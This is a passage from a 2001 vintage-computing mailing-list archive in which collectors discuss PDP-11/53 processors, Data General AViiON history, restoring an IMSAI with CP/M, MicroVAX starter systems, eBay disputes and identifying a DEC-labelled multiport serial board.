newsgroups in the last day.... As if it's not bad enough that those idiots have set our industry back about fifteen years. NOW they're wasting bandwidth on top of it! -Dave McGuire From lemay at cs.umn.edu Wed Jun 6 21:12:28 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:15 2005 Subject: Usenet In-Reply-To: <15134.56988.156392.730438@phaduka.neurotica.com> "from Dave McGuire at Jun 6, 2001 09:53:32 pm" Message-ID: <200106070212.VAA26060@caesar.cs.umn.edu> And my favorite newsgroup software hasnt worked for over a year, because there are too many newsgroups already ;) (trn, rn) -Lawrence LeMay > On June 6, Jeff Hellige wrote: > > Geez....Microsoft created over 300 new newsgroups in the last day.... > > As if it's not bad enough that those idiots have set our industry > back about fifteen years. NOW they're wasting bandwidth on top of it! > > -Dave McGuire > From healyzh at aracnet.com Wed Jun 6 21:25:53 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:15 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: <01060620545704.00835@fatty> from "Brian Roth" at Jun 06, 2001 08:52:43 PM Message-ID: <200106070225.f572PrY22753@shell1.aracnet.com> > > Not to fan the flames but I scanned some original DEC sales literature and put > them here: > > http://www.wzrd.com/homeb/jroth/wirzhome/Pictures/1153_1.jpg > http://www.wzrd.com/homeb/jroth/wirzhome/Pictures/1153_2.jpg > > This is all I could find in my stash. > > Brian. You might want to check those pic's, they seem to have gotten mangled into text. Zane From vance at ikickass.org Wed Jun 6 21:30:00 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:15 2005 Subject: Usenet In-Reply-To: <15134.56988.156392.730438@phaduka.neurotica.com> Message-ID: Hear hear! Peace... Sridhar On Wed, 6 Jun 2001, Dave McGuire wrote: > On June 6, Jeff Hellige wrote: > > Geez....Microsoft created over 300 new newsgroups in the last day.... > > As if it's not bad enough that those idiots have set our industry > back about fifteen years. NOW they're wasting bandwidth on top of it! > > -Dave McGuire > From broth at heathers.stdio.com Wed Jun 6 20:40:15 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:15 2005 Subject: DG stuff Message-ID: <01060621470805.00835@fatty> I did not realize your preservation efforts. If I donate this collection of manuals and software, will you eventually make them available to all? Some of the manuals I have are from 1969 and I also have some early DG direct and some sales literature. The software is Nova 3 and 4 I believe. Haven't looked at it in a while. I saved this stuff from the dumpster years ago hoping to use it for trading fodder for DEC related stuff someday. Now I'm just glad I saved it. Brian. Brian Roth - System Administrator www.webwirz.com - Old Computer Repository Preoccupation is my main occupation..... From broth at heathers.stdio.com Wed Jun 6 20:48:26 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:15 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: <200106070225.f572PrY22753@shell1.aracnet.com> References: <200106070225.f572PrY22753@shell1.aracnet.com> Message-ID: <01060621495106.00835@fatty> Zane, I just checked with my Linux box running Netscape as well as a Win98 box with IE and they downloaded fine on those. Brian. On Wed, 06 Jun 2001, you wrote: > > > > Not to fan the flames but I scanned some original DEC sales literature and put > > them here: > > > > http://www.wzrd.com/homeb/jroth/wirzhome/Pictures/1153_1.jpg > > http://www.wzrd.com/homeb/jroth/wirzhome/Pictures/1153_2.jpg > > > > This is all I could find in my stash. > > > > Brian. > > You might want to check those pic's, they seem to have gotten mangled into > text. > > Zane -- Brian Roth - System Administrator www.webwirz.com - Old Computer Repository Preoccupation is my main occupation..... From broth at heathers.stdio.com Wed Jun 6 21:02:03 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:15 2005 Subject: No subject Message-ID: <01060622043608.00835@fatty> Any chance that someone may have an DEC RV20 worm drive they would like to part company with? I just received some carts with software I would like to read. Also looking for a keyboard for a VAXmate. Thanks, Brian. -- Brian Roth - System Administrator www.webwirz.com - Old Computer Repository Preoccupation is my main occupation..... From mcguire at neurotica.com Wed Jun 6 22:32:43 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:15 2005 Subject: No subject In-Reply-To: (Brian Roth) References: <01060622043608.00835@fatty> Message-ID: <15134.62939.46168.465741@phaduka.neurotica.com> On June 6, Brian Roth wrote: > Any chance that someone may have an DEC RV20 worm drive they would like to > part company with? I just received some carts with software I would like to > read. Also looking for a keyboard for a VAXmate. A surplus house that I deal with now & then has had one on the shelf for some time. I'll head over there and ask 'em how much they want for it. If their price is reasonable for you I can go grab it and ship it to you. -Dave McGuire From kdavis at ndx.net Wed Jun 6 22:52:56 2001 From: kdavis at ndx.net (Kirk B. Davis) Date: Sun Feb 27 19:04:16 2005 Subject: Will trade classic HW for CP/M 2.2 help! In-Reply-To: <3B1EBBF7.BF6B2B6F@tiac.net> from "Bob Shannon" at Jun 06, 2001 07:25:43 PM Message-ID: <200106070352.f573quY00530@bender.ndx.net> I may be able to help - I'm getting a complete IMSAI shortly with a lot of software that supposedly boots. Should come in the next day or so. If you do not get you issue worked out, contact me next week and I'll be happy to help. Regards, Kirk > > To any CP/M 2.2 users with 8-inch SSSD floppy disks... > > I'm restoring an Imsai 8080, and at this point my hardware is working very > well, but I need some assistance with the software. > > If any list member can help, I'm willing to trade classic hardware such as an HP > 9830A desktop programmable (in basic!) calculator, a Symbolics 3645 Lisp Machine > (with 2 monitors, and full doc set), a Solid State Music S-100 bus music > synthisizer, DEC goodies, etc... > > Lets make a deal....without eBay..... > > All the hardware for trade is located in centeral MA, not too far from the site > for VCF East! > Who ever gets this deal, and helps get this Imsai up to the A:> prompt WILL be > made happy. > > (and share in the satisfaction of saving this particular Imsai from the dust bin > of history) > > My problem is this: > > I need a bootable 8-inch, SSSD CP/M 2.2 disk made with a BIOS for my hardware... > I do have full documentation for all the hardware installed in my system. > > I have an Imsai 8080 with 40K of RAM, a Tarbell 1101-D floppy controller with 2 > SA-800 > drives, and a Solid State Music IO-4 board. There are some old CP/M 1.3 disks > that came > with the system, and they ~appear~ to boot, but I get no console I/O. Most of the > disks > claim to be for memory configurations larger than I currently have. > > I can disable the Tarbell boot code and enter small programs by hand, and I've > verifed that > the SSM IO-4 boards serial port is fully operational. Attempting to boot a 24K > CP/M 1.3 > disk ~looks~ like its working, the head loads and unloads several times, data gets > loaded > into memory by the boot loader code from the floppy, but no console I/O. > > Who knows what hardware config this disk expects, it appears to be a very early > CP/M > install for this Imsai, and its clearly been expanded several times since this > disk was cut. > > I'd also LOVE to upgrade the many 2102 based Ram boards with any non-2102 based > SRAM > board. I do have 22 slots, but 4K and 8K boards just take up too much room. > > So, is anyone out there with 8-inch CM/M 2.2, and who is just dying for a > Symbolics 3645? > > Just 'gottahave' an HP9830A (all key caps, unbroken plastic, etc) LED dot matrix > calculator? > (check one out on the HP calculator museum site, clearly collectable...) > > Drop me a line off the list, and lets make a deal! > > From healyzh at aracnet.com Wed Jun 6 22:41:05 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:16 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: <01060621495106.00835@fatty> from "Brian Roth" at Jun 06, 2001 09:48:26 PM Message-ID: <200106070341.f573f5x25388@shell1.aracnet.com> > I just checked with my Linux box running Netscape as well as a Win98 box > with IE and they downloaded fine on those. That's odd, I just checked again, and now I can see the JPEG's. Wierd. Zane From aclark at enviroweb.org Wed Jun 6 22:44:58 2001 From: aclark at enviroweb.org (Arthur Clark) Date: Sun Feb 27 19:04:16 2005 Subject: Nobody wants an HP-150? In-Reply-To: Message-ID: <5.1.0.14.0.20010606234300.03198b70@freenet.enviroweb.org> Bill, Can't say I know what you're offering. But I am a collector interested in expanding my collection. I live two hours from DC. What type of system is it? Old workstation, miniframe?? Regards, Arthur Clark At 03:42 PM 6/6/01 -0400, you wrote: >I'll try one more time... > >It's fully functional, including the touch screen. >It has 640K of RAM (256K integrated + 384K on an >expansion board). > >Best offer. From aclark at enviroweb.org Wed Jun 6 22:41:48 2001 From: aclark at enviroweb.org (Arthur Clark) Date: Sun Feb 27 19:04:16 2005 Subject: Free stuff In-Reply-To: <01060618172100.00835@fatty> Message-ID: <5.1.0.14.0.20010606233442.031928a0@freenet.enviroweb.org> Hi Brian, I just want to put a word in with you re your disposal of non-DEC stuff. I am interested in any Apple Computer and third party hardware and software for the Apple // & // series 8 bit machines (as well as the 16 bit IIgs). I am also interested, at some point, in getting a "starter" MicroVAX system. While I do not know a lot about them, I extensively used such systems, and their more robust brethren, when I was in college in the late 80s & early 90s. I have been told that these are good first systems for collectors who don't have a lot of experience with miniframe and mainfarme computers. Is that your opinion as well? Regards, Arthur Clark At 06:00 PM 6/6/01 -0400, you wrote: >I am currently reducing my collection to "DEC only" and in the coming >weeks(months) will be posting some giveaways. I have bunches of everything to >get rid of. I will give precedence to DEC related trades and then just ask for >shipping charges after that. > First off I need to know if anyone is interested in >Data General stuff. I have a couple of box's of manuals and software. I >believe there might be some early NOVA manuals in the stack. I also have a >dual >8" rack mount floppy coming in. I would like to see these go to an active DG >collector. > >I currently have 7 Intel MCS -80/85 Family User manuals in new condition. Free >to anyone. A few bucks for postage at your convienience would be nice but not >necessary. Like I said I have a lot of stuff and the shipping charges are >going >to add up after a while. > >Brian. > > > >-- Brian Roth - System Administrator >www.webwirz.com - Old Computer Repository > >Preoccupation is my main occupation..... From jweder at telusplanet.net Wed Jun 6 23:17:17 2001 From: jweder at telusplanet.net (Joel Weder) Date: Sun Feb 27 19:04:16 2005 Subject: classiccmp-digest V1 #621 In-Reply-To: <200106061503.KAA60565@opal.tseinc.com> Message-ID: Hi all.. This is just a quick test. I replied to the digest version of the list a few days ago but haven't seen that message in the digest, so I'm wondering what happened. Mind you could be it was deleted in disgust by the system because I likely accidentally included the whole text of the digest in my reply. Ooops!! By the way, I'm just getting into the classic computer thing. I found an IMSAI in beautiful shape a few years ago at an auction, and just recently a dusty old SWTPc 6800 at a flea market. The SWTP inspired me to find a source for intelligent knowledge about these old beasts. Right now I'm trying to talk to the IMSAI with my Hazeltine 1500 using current loop. I'm also trying to figure out what software is in the EPROM's. There are two groups of chips, one with 6 2708's and the other with 8, on a Godbout EconoROM board. Anyway, hopefully THIS message makes it. I'm looking forward to getting to know some of the folks here, and looking forward to getting to know my IMSAI and 6800 better too! Joel A. Weder jweder@telusplanet.net 403-556-4020 From mbg at world.std.com Wed Jun 6 23:36:39 2001 From: mbg at world.std.com (Megan) Date: Sun Feb 27 19:04:16 2005 Subject: PDP-11/53+ Jumpers References: <006701c0eee1$49fd6750$a8799a8d@ajp166> Message-ID: <200106070436.AAA26156@world.std.com> >Allison, for once I feel you're wrong. An 11/53 is a distinct processor >released a few years after the 11/73 and 11/83, as a low-cost option for >office use. When it was announced (1987), it was as a J11 processor with >separate I&D space and RAM on the processor card -- which no 11/23 has. >I never heard of one having an 11/23 as shipped by DEC. I don't think that was the point of what she was saying... I think it was that although the *BOX* said 11/53, there was actually an 11/23 plugged into the bus. I can understand that might be the case nowadays, with all the moving of boards and such... but I cannot believe that DEC ever marketed a machine which said 11/53 which might contain an 11/23 processor... someone surely would have noticed and had a problem with it... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg KB1FCA | +--------------------------------+-------------------------------------+ From jeff.kaneko at juno.com Wed Jun 6 23:35:36 2001 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 19:04:16 2005 Subject: Rescue: *NEW* DG Aviion Message-ID: <20010606.233908.-510331.0.jeff.kaneko@juno.com> The AViiON's were made by Data General, of NOVA fame. The first models appeared 1991 or therebouts. These used the (then) new Motorola 88000 RISC processor chip set. They made desktop (AV-300) and deskside (AV-400,500) workstations, as well as multi-processor servers (AV-8000's for example). The first ones were kinda slow, owing to the 1st generation RISC processor and a rather overweight UNIX port (DG/UX). Later multi-processor machines (some had as many as eight, IIRC) using the 88110 processor were much faster. Mot dropped the ball (as usual) in the mid-90's and abandoned the 88000 in favor of the PowerPC*. When this happened, DG shifted over to the 'Dark Side' (i.e. Intel) and have done nothing remarkable after that. IMNHO, only 88k AViiONs are really worth keeping (unless you're *really* into WINNT). DG/UX is okay, I guess; but I mostly like the fact that technical docs are available for at least one model (AV-530), and it has VME cardslots. *Footnote: What's truly tragic, is that Apple was preparing to manufacture 88000-based mac's (several prototypes were built in the early nineties). This project was squashed by internal politics, however. On 7 Jun 2001 1:59:57 +0100 "Iggy Drougge" writes: > Isn't the Aviion the Motorola 88000 based line of workstations by > General Electric or some other megalomaniac corporation? ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From jeff.kaneko at juno.com Wed Jun 6 23:38:45 2001 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 19:04:16 2005 Subject: Rescue: *NEW* DG Aviion Message-ID: <20010606.233908.-510331.1.jeff.kaneko@juno.com> There was a transition period where they made both kinds of machines. The 88000 was Mot's first attempt at RISC. Good design, lousy marketing, lousy support. On Wed, 06 Jun 2001 17:02:32 -0700 "Edwin P. Groot" writes: > Before passing it over I took a quick look at the manual, dated > sometime after 1995. It mentioned both intel-based and 88000-based > computers. Never heard of an 88000. Is that Motorola? ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From bdc at world.std.com Wed Jun 6 23:44:35 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:16 2005 Subject: Free stuff In-Reply-To: <5.1.0.14.0.20010606233442.031928a0@freenet.enviroweb.org> Message-ID: On Wed, 6 Jun 2001, Arthur Clark wrote: > [...] > I am also interested, at some point, in getting a "starter" MicroVAX > system. While I do not know a lot about them, I extensively used such > systems, and their more robust brethren, when I was in college in the > late 80s & early 90s. I have been told that these are good first > systems for collectors who don't have a lot of experience with > miniframe and mainfarme computers. Is that your opinion as well? I'm a different Brian, but as a VAX collector myself, I'd definitely say that VAX systems are good starter systems for classic minicomputer collectors. The later model VAXen are small enough that they're really more workstations than they are minicomputers--even though the processor architecture is very similar. Larger deskside Q-bus systems like the MicroVAX-II; the MicroVAX 3300, 3400, 3600, 3900, and some of the VAX 4000 line are good starters. They're relatively cheap. In some cases they're pretty slow with the exception of the VAX 4000 systems. Most of the Q-bus modules are fairly inexpensive--with the notable exception of SCSI disk/tape controllers. They're new enough that you really don't have to worry too much about their components getting flakey--again, maybe with the exception of some of the older MFM drives used in the MicroVAX-II series. They're big enough that people are impressed by their size. They're small enough that you can move them by yourself. Beyond that, for operating systems you can choose between the hobbyist version of OpenVMS for VAX and the freely available NetBSD/vax UNIX. If you don't care so much about having a bigger than average system, you can always find one of the rather slim VAXstation 3100s cheaply--even on eBay. They have the benefit of being equipped with built-in SCSI controllers too. -brian. From wonko at tmok.com Thu Jun 7 00:25:05 2001 From: wonko at tmok.com (Brian Hechinger) Date: Sun Feb 27 19:04:16 2005 Subject: Rescue: *NEW* DG Aviion In-Reply-To: <20010606.233908.-510331.0.jeff.kaneko@juno.com>; from Jeffrey l Kaneko on Wed, Jun 06, 2001 at 11:35:36PM -0500 References: <20010606.233908.-510331.0.jeff.kaneko@juno.com> Message-ID: <20010607012505.C16240@tmok.com> On Wed, Jun 06, 2001 at 11:35:36PM -0500, Jeffrey l Kaneko wrote: > > used the (then) new Motorola 88000 RISC processor chip > set. i've heard of the 88k, but i know nothing about it, how does it compare to the 68k by example, or the SPARC or any other CPU? thanks! -brian From wmsmith at earthlink.net Thu Jun 7 00:22:57 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:16 2005 Subject: Another Auction Site References: <5.0.0.25.2.20010605214106.02064970@208.226.86.10> Message-ID: <00f001c0ef11$ea581ee0$cfb1b2d1@Smith.earthlink.net> > >Hmm, I guess I haven't used eBay in a while. But I can still search for > >completed auctions. Are you talking about that fact that they only keep > > Ebay doesn't say anything, but all the completed auction searches are by > subject only, descriptions are not searched. This changed around the first > of the year, and greatly reduces the value of searches. > I don't think this is correct. In the 4 years I have been nosing around eBay you've never been able to search anything but the subject line in completed actions. From geoffr at zipcon.net Thu Jun 7 00:43:30 2001 From: geoffr at zipcon.net (Geoff Reed) Date: Sun Feb 27 19:04:16 2005 Subject: DEC Board, need help with info on... Message-ID: <5.1.0.14.2.20010606224217.03141a00@mail.zipcon.net> 29-28310-01 IC8X4 MULTIPLEXOR BOARD I don't know if this falles under the classic here, but any info I can get on this would be great! compaq has been less than helpful on telling me what it is.... From edick at idcomm.com Wed Jun 6 22:07:58 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:16 2005 Subject: OT: Does anybody know of some available SDI cannisters? References: <200106070225.f572PrY22753@shell1.aracnet.com> <01060621495106.00835@fatty> Message-ID: <000001c0ef14$73d38400$9cc762d8@idcomm.com> I've got a Storage Dimensions Inc. RAID that has 5 cannisters with 5 drives in it. It works GREAT! However, ... there's a sixth slot, which purportedly is intended for a hot-spare drive so the RAID can automatically replace/rebuild a failed drive transparently to the user, and without human intervention. Unfortunately, I don't have the sixth cannister, which would have to fit a 3-1/2" 1.4"-tall drive, and they're not available from the folks who bought out SDI. Does anybody know of one or more of these pups that might be available at a reasonable price? thanx, Dick From mcguire at neurotica.com Thu Jun 7 02:30:42 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:16 2005 Subject: DEC Board, need help with info on... In-Reply-To: DEC Board, need help with info on... (Geoff Reed) References: <5.1.0.14.2.20010606224217.03141a00@mail.zipcon.net> Message-ID: <15135.11682.725009.546136@phaduka.neurotica.com> On June 6, Geoff Reed wrote: > 29-28310-01 IC8X4 MULTIPLEXOR BOARD > > I don't know if this falles under the classic here, but any info I can get > on this would be great! compaq has been less than helpful on telling me > what it is.... Are there any other numbers on this board? Can you up a photo of it? -Dave McGuire From foo at siconic.com Thu Jun 7 01:46:12 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:16 2005 Subject: Another Auction Site In-Reply-To: <3B1E8280.ED7E3A36@home.com> Message-ID: On Wed, 6 Jun 2001, Craig Smith wrote: > It WOULD be a great historical database if they kept more than > 30-60 days of data available! Somewhere they have a data warehouse > full of great stuff but it's not available. Of course the pictures > wouldn't be available for the past auctions but descriptions and > prices realized would be a great resource. BIG database though ...what > are they up to these days 124 million auctions or so??? Yes, true. And it makes me wonder what they are doing with that data. They are in a terrific position to publish pricing guides for all sorts of crap (including vintage computers). I would've thunk we'd have seen some sort of eBay price guide get published already. I can't imagine they haven't thought of this. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From pete at dunnington.u-net.com Thu Jun 7 02:25:28 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:16 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: Megan "Re: PDP-11/53+ Jumpers" (Jun 7, 0:36) References: <006701c0eee1$49fd6750$a8799a8d@ajp166> <200106070436.AAA26156@world.std.com> Message-ID: <10106070825.ZM10341@indy.dunnington.u-net.com> On Jun 7, 0:36, Megan wrote: > Pete Turnbull wrote: > >Allison, for once I feel you're wrong. An 11/53 is a distinct processor > I don't think that was the point of what she was saying... I think it > was that although the *BOX* said 11/53, there was actually an 11/23 > plugged into the bus. I can understand that might be the case nowadays, > with all the moving of boards and such... but I cannot believe that > DEC ever marketed a machine which said 11/53 which might contain an > 11/23 processor... someone surely would have noticed and had a problem > with it... Megan, I agree with what you say about boards being moved around. Of my ten or so PDP-11 systems only three or four had the "right" processor when I got them. But I got the distinct impression Allison was (at least at one stage) suggesting that (early) 11/53 systems were intended to have a processor that wasn't a distinct member of the 11/x3 family. Allison wrote: > Isn't the 11/53 the box name and the cpu being either an 11/73 > or 11/23B? Well, then it's not an 11/53 any more :-) -- Pete Peter Turnbull Network Manager University of York From pete at dunnington.u-net.com Thu Jun 7 02:13:01 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:16 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: "ajp166" "Re: PDP-11/53+ Jumpers" (Jun 6, 21:43) References: <017501c0eef4$35a6d210$a8799a8d@ajp166> Message-ID: <10106070813.ZM10332@indy.dunnington.u-net.com> On Jun 6, 21:43, ajp166 wrote: > From: Pete Turnbull > What part of what I wrote is unclear? The comment is most 11/53s I've > seen contained 11/23B cpus. that maybe "not as shipped" but very > commonplace. > > >office use. When it was announced (1987), it was as a J11 processor > with > >separate I&D space and RAM on the processor card -- which no 11/23 has. > I > >never heard of one having an 11/23 as shipped by DEC. > > > Never said it was. I said many early 11/53boxen HAD 11/23s not they > shipped > with 11/23s. Seems they were fertile ground for modified systems. It read as if you were saying an 11/53 could have a M8189. Of course a box can have a particular label, but have some other CPU in it - I have a few like that. But a box labeled 11/53 and having an 11/23 procssor in it is an 11/23, not an 11/53. It won't run RSX-11M or Ultrix configured for an 11/53, or various things. I'm surprised you say it's common. I can see that in a few cases the processor might be removed to use elsewhere, but how many systems end up with a 5-years-older processor in them? In my experience, it's much more common to see systems with later processors in them (though I'm thinking of 11/03 -> 11/23, 11/23 -> 11/73, 11/73 -> 11/83, microVAX -> microVAX-II upgrades). -- Pete Peter Turnbull Network Manager University of York From foo at siconic.com Thu Jun 7 01:55:59 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:16 2005 Subject: OT: eBay bitching (was RE: Another Auction Site) In-Reply-To: Message-ID: On Wed, 6 Jun 2001, Russ Blakeman wrote: > I bought something (PS/2 model 70 with IEEE 488) back in 98 and then > the SOB wanted to charge me $45 to ship it (said he had it in the > auction post but it said nothing of a flat fee) so I wrote ebay and > they bumped *me* - so I created a new account (2 actually) and started The reason I have so much contempt for eBay is a similar situation, although I must admit I was being rather obnoxious to an even more obnoxious seller (he started it, the whiny bastard). Anyway, the guy was a total cock and ended up throwing at me what very well could have been interpreted as an ethnic slur (and which I took as such) posted in his auction description but my complaints fell on deaf eBay ears. Punk bitches. > all over and I looked later to find that the clown that was trying to > rip me off was permanently barred (a month after I was) and had since > gone to exclusively ripping people off thru Yahoo! auctions. I've > never had a problem since other that a user named "polbit" tell me > that a perfect machine I shipped was junk and wanted a > refund/exchange. When I asked him the serial he never wrote back and I had a weird experience where I was high bidder on a boxed CoCo 2. It wasn't that special, but I thought it would be nice to have a boxed CoCo 2. So anyway, right after the auction ends the guy ships the thing to me overnight before I even have a chance to tell him I'd prefer Ground shipping and also to discuss payment arrangements. Also, he shipped the thing in the original box and applied packaging tape all over it, thereby ruining the integrity of the box (which was really the reason I bid on the thing in the first place). So the shipping comes out to $20 or so, and the item price was only like $4.99. I told him there was no way I was going to pay $20 for something that should've only cost at most $7. He got all huffy and sent some message which indicated he assumed I ripped him off and I never heard from him again, even after I sent him repeated messages telling him I'd like to send him something fair, just not $20 for shipping. I still feel guilty about that one. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Thu Jun 7 02:02:28 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:16 2005 Subject: Usenet In-Reply-To: <15134.56988.156392.730438@phaduka.neurotica.com> Message-ID: On Wed, 6 Jun 2001, Dave McGuire wrote: > On June 6, Jeff Hellige wrote: > > Geez....Microsoft created over 300 new newsgroups in the last day.... > > As if it's not bad enough that those idiots have set our industry > back about fifteen years. NOW they're wasting bandwidth on top of it! I enjoy a good Microsoft bashing as much as the next nerd, but 300 newsgroups out of the 50,000 or so that are currently in existence is not going to break any camel backs ;) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From mcguire at neurotica.com Thu Jun 7 03:33:26 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:16 2005 Subject: Usenet In-Reply-To: Re: Usenet (Sellam Ismail) References: <15134.56988.156392.730438@phaduka.neurotica.com> Message-ID: <15135.15446.555413.534679@phaduka.neurotica.com> On June 7, Sellam Ismail wrote: > > > Geez....Microsoft created over 300 new newsgroups in the last day.... > > > > As if it's not bad enough that those idiots have set our industry > > back about fifteen years. NOW they're wasting bandwidth on top of it! > > I enjoy a good Microsoft bashing as much as the next nerd, but 300 > newsgroups out of the 50,000 or so that are currently in existence is not > going to break any camel backs ;) Oh, c'mon. It was a good enough excuse for me. ;) -Dave McGuire From geoffr at zipcon.net Thu Jun 7 03:41:37 2001 From: geoffr at zipcon.net (Geoff Reed) Date: Sun Feb 27 19:04:16 2005 Subject: DEC Board, need help with info on... In-Reply-To: <15135.11682.725009.546136@phaduka.neurotica.com> References: <5.1.0.14.2.20010606224217.03141a00@mail.zipcon.net> Message-ID: <5.1.0.14.2.20010607013746.01db20b0@mail.zipcon.net> The 29-28310-01 is off a digital label. also on the board are 90-0000308-001 and 91-0000308-001-01 (C) 1989 Corrolary INC. it's an ISA board with an 80186 2 zilog z0853004PSC's an AM9517A-5 and a boatload of pals on it, it looks kind of like a multiport serial card it has mac looking ports on it that look just like the serial ports on a macintosh or sparc IPC/IPX. (Mini-din8?) sorry, my memory is trashed this am... and i might be able to throw a picture online of it soon.... At 03:30 AM 6/7/01 -0400, you wrote: >On June 6, Geoff Reed wrote: > > 29-28310-01 IC8X4 MULTIPLEXOR BOARD > > > > I don't know if this falles under the classic here, but any info I can get > > on this would be great! compaq has been less than helpful on telling me > > what it is.... > > Are there any other numbers on this board? > > Can you up a photo of it? > > -Dave McGuire From mcguire at neurotica.com Thu Jun 7 03:52:57 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:16 2005 Subject: DEC Board, need help with info on... In-Reply-To: Re: DEC Board, need help with info on... (Geoff Reed) References: <5.1.0.14.2.20010606224217.03141a00@mail.zipcon.net> <5.1.0.14.2.20010607013746.01db20b0@mail.zipcon.net> Message-ID: <15135.16617.255855.63896@phaduka.neurotica.com> On June 7, Geoff Reed wrote: > The 29-28310-01 is off a digital label. > > also on the board are > > 90-0000308-001 > and > 91-0000308-001-01 > > (C) 1989 Corrolary INC. > > it's an ISA board with an 80186 2 zilog z0853004PSC's an AM9517A-5 and a > boatload of pals on it, it looks kind of like a multiport serial card it > has mac looking ports on it that look just like the serial ports on a > macintosh or sparc IPC/IPX. (Mini-din8?) sorry, my memory is trashed this > am... > and i might be able to throw a picture online of it soon.... Hmm...Z8530 is a [very nice] dual-channel serial I/O chip and the Am9517 is a DMA controller...which, rather decidedly, makes it a high-speed multiport serial card. The Z8530 is capable of synchronous and HDLC/SDLC operation as well, up to 2mbps if memory serves. I have no idea what this particular board was built to do, but it could even be something fancy like that. -Dave McGuire From geoffr at zipcon.net Thu Jun 7 04:35:33 2001 From: geoffr at zipcon.net (Geoff Reed) Date: Sun Feb 27 19:04:16 2005 Subject: DEC Board, need help with info on... In-Reply-To: <15135.16617.255855.63896@phaduka.neurotica.com> References: <5.1.0.14.2.20010606224217.03141a00@mail.zipcon.net> <5.1.0.14.2.20010607013746.01db20b0@mail.zipcon.net> Message-ID: <5.1.0.14.2.20010607023516.02ad07f0@mail.zipcon.net> Sweet :) now I just have to find drivers and pinouts for it :) At 04:52 AM 6/7/01 -0400, you wrote: >On June 7, Geoff Reed wrote: > > The 29-28310-01 is off a digital label. > > > > also on the board are > > > > 90-0000308-001 > > and > > 91-0000308-001-01 > > > > (C) 1989 Corrolary INC. > > > > it's an ISA board with an 80186 2 zilog z0853004PSC's an AM9517A-5 > and a > > boatload of pals on it, it looks kind of like a multiport serial card it > > has mac looking ports on it that look just like the serial ports on a > > macintosh or sparc IPC/IPX. (Mini-din8?) sorry, my memory is trashed > this > > am... > > and i might be able to throw a picture online of it soon.... > > Hmm...Z8530 is a [very nice] dual-channel serial I/O chip and the >Am9517 is a DMA controller...which, rather decidedly, makes it a >high-speed multiport serial card. > > The Z8530 is capable of synchronous and HDLC/SDLC operation as well, >up to 2mbps if memory serves. I have no idea what this particular >board was built to do, but it could even be something fancy like that. > > -Dave McGuire From rhblake at bigfoot.com Thu Jun 7 04:54:08 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:16 2005 Subject: eBay bitching (was RE: Another Auction Site) In-Reply-To: Message-ID: > ended up throwing at me what very well could have been > interpreted as an ethnic slur (and which I took as such) MAn you don't sound Chinese (grin) From broth at heathers.stdio.com Thu Jun 7 04:26:58 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:16 2005 Subject: In-Reply-To: <15134.62939.46168.465741@phaduka.neurotica.com> References: <01060622043608.00835@fatty> <15134.62939.46168.465741@phaduka.neurotica.com> Message-ID: <0106070530240A.00835@fatty> Dave, Great! A couple of former DEC brokers I contacted did not even know what a RV20 was. Shipping might be a bear though as I believe the weight will be similar to and RL drive. Brian. On Wed, 06 Jun 2001, you wrote: > On June 6, Brian Roth wrote: > > Any chance that someone may have an DEC RV20 worm drive they would like to > > part company with? I just received some carts with software I would like to > > read. Also looking for a keyboard for a VAXmate. > > A surplus house that I deal with now & then has had one on the shelf > for some time. I'll head over there and ask 'em how much they want > for it. If their price is reasonable for you I can go grab it and > ship it to you. > > -Dave McGuire -- Brian Roth - System Administrator www.webwirz.com - Old Computer Repository Preoccupation is my main occupation..... From broth at heathers.stdio.com Thu Jun 7 